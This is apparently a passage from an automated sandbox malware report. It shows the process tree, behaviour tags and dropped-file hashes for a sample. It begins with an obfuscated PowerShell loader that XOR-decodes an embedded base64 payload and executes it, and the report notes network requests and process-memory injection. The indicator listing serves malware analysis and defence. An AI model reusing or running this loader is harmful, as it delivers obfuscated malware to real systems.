WUohMH57dFMSdXd2d00hZUx7DVN8aWtDb39NSVtKMWsxZE9hXmkRSDYdUVB6Bgx7TjJzRW1dZmJKdQleIQ0hLDcWRSkCOiYAYyQ5YVJ4UXN0TW9wPwILOgZlNQpNcnlVU3ICKiYVMz4aOAN7ETYmGSE/SFwHPVhWOxkmPjcJKhAGZTIZKUh5EgBxe1BLTnFYdVhXKHA3dHdVMD4SDDoKWGgEJnxNX31wVTo7AygsGjgHOgInbwQpTFRdSWxHdXJ5Oy1RQEh3YGZ1QTcjREZVc0xgLgBMdmNRT39RXDd5KD43FkUuAi9ZSiEwfV1KSUgzPhkmPjdyDz5ANCoEJXYkAws6ClhoBCZ5Z0NDaBdAcE9mKioVDjYCL1lKITBlQkp4VF4tdiY+OxIPRUwnIV5AKioVDjoOJy57bzcwWmpOaSAvDQwdNxIHOmVicglRZXhRQmlRe3VLc2M3cXdPAipiQXJ0a0FCdkdkcgQscX5AVG4CMnpCdTdZU0p/DkRWcSFqGjgqEAInJgQhNzcSBzo=';$mbGFaXp=0xA163-0xDF8F;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0xAA)};$v3w7Meu=$nrNSFmCc;$nrNSFmCc=@();foreach($c in [char[]]$iyVyg7iS8){$nrNSFmCc+=[byte]($c-bxor0x55)};$r0MGddW0=$nrNSFmCc;$nrNSFmCcoldR='';$i=0;for($j=0;$j-lt$opGZLdx.Length;$j+=2){$nrNSFmCcoldR+=[char](([Convert]::ToInt32($opGZLdx.Substring($j,2),16))-bxor$v3w7Meu[$i++%$v3w7Meu.Length])};$g1vdAlU8=$nrNSFmCcoldR;$nrNSFmCcoldB=[Convert]::FromBase64String([regex]::Replace($shAzAitV, '$nrNSFmCc', ''));$nrNSFmCcoldR='';$i=0;for($j=0;$j-lt$nrNSFmCcoldB.Length;$j++){$nrNSFmCcoldR+=[char]($nrNSFmCcoldB[$j]-bxor$r0MGddW0[$i++%$r0MGddW0.Length])};$dwmhgMk4M=$nrNSFmCcoldR;$aHfO2a=$g1vdAlU8+$dwmhgMk4M;.($env:ComSpec[4,26,25]-join'') $aHfO2a"
          2⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2236
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xv2zjqop\xv2zjqop.cmdline"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2444
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES152F.tmp" "c:\Users\Admin\AppData\Local\Temp\xv2zjqop\CSCB64AA43C1D8E4205BAC725DF89C4C679.TMP"
              4⤵
                PID:4260

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 64B
              • SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d660b4081ab6ade316d00c0ea110b6b74359e7cfef08b4b0a1da104b21812425
              • MD5 SHA1 SHA512 TLSH

              6efc4ccb-cdb6-4922-b1bd-933d2c5ca596.bat

              • Path C:\Users\Admin\AppData\Local\Temp\6efc4ccb-cdb6-4922-b1bd-933d2c5ca596.bat
              • Size 21KB
              • SHA256 16a71629ce96e7d68262c2392cceaaee0d8c5b381006e3e213800f97a93c5874
              • MD5 SHA1 SHA512 SSDEEP TLSH

              RES152F.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES152F.tmp
              • Size 1KB
              • SHA256 bcf5bd8cd4b534d267212f06651abd10d9296a996c0dbaed8decb85937ff26ea
              • MD5 SHA1 SHA512 TLSH

              RES54AE.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES54AE.tmp
              • Size 1KB
              • SHA256 0746492a4b9a85b71163cd0e55a671c5524d6b7f492bc6406f19fb2ff486a410
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_lupcrs2f.rl5.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lupcrs2f.rl5.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              pw4fpqc0.dll

              • Path C:\Users\Admin\AppData\Local\Temp\pw4fpqc0\pw4fpqc0.dll
              • Size 3KB
              • SHA256 c0b7c4bf7edacad0803ff31737f58651f4fa5a29a14da088ef983f42525de2e2
              • MD5 SHA1 SHA512 TLSH

              xv2zjqop.dll

              • Path C:\Users\Admin\AppData\Local\Temp\xv2zjqop\xv2zjqop.dll
              • Size 3KB
              • SHA256 0efc7198ac6e60faea3db8f105c98c1740842312744881954329ed61bd8472e8
              • MD5 SHA1 SHA512 TLSH

              CSC35B31B0B40564380BF715E25C444E71C.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\pw4fpqc0\CSC35B31B0B40564380BF715E25C444E71C.TMP
              • Size 652B
              • SHA256 e5da7ecfb91215b68768543d8afc1ba02eb987ae87f83d79de60992452693395
              • MD5 SHA1 SHA512 TLSH

              pw4fpqc0.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\pw4fpqc0\pw4fpqc0.0.cs
              • Size 213B
              • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
              • MD5 SHA1 SHA512 TLSH

              pw4fpqc0.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\pw4fpqc0\pw4fpqc0.cmdline
              • Size 369B
              • SHA256 62cb979b5a27da92e116f05e1c3e8fcead8eba3190cf1bb9fc73a3da035bfc80
              • MD5 SHA1 SHA512 TLSH

              CSCB64AA43C1D8E4205BAC725DF89C4C679.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\xv2zjqop\CSCB64AA43C1D8E4205BAC725DF89C4C679.TMP
              • Size 652B
              • SHA256 f08f50ab7e8362918932b02b1202bdae4af9bf1ef604c7a9b238900a20dde295
              • MD5 SHA1 SHA512 TLSH

              xv2zjqop.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\xv2zjqop\xv2zjqop.cmdline
              • Size 369B
              • SHA256 2d10966699d12d6b29187b90756358ee42449869ec654b9dfd1298698452eef5
              • MD5 SHA1 SHA512 TLSH

              memory/2236-56-0x00000245432F0000-0x00000245432F8000-memory.dmp

              memory/2784-1-0x00007FFA37AEF000-0x00007FFA37AF0000-memory.dmp

              memory/2784-15-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

              memory/2784-0-0x0000000000DD0000-0x000000000100A000-memory.dmp

              memory/2784-3-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

              memory/2788-7-0x000002012F690000-0x000002012F6B2000-memory.dmp

              memory/2788-8-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

              memory/2788-9-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

              memory/2788-11-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

              memory/2788-29-0x00007FFA37960000-0x00007FFA38304000-memory.dmp

              memory/4756-31-0x000001E8F7520000-0x000001E8F7536000-memory.dmp

              memory/4756-28-0x000001E8F7160000-0x000001E8F7168000-memory.dmp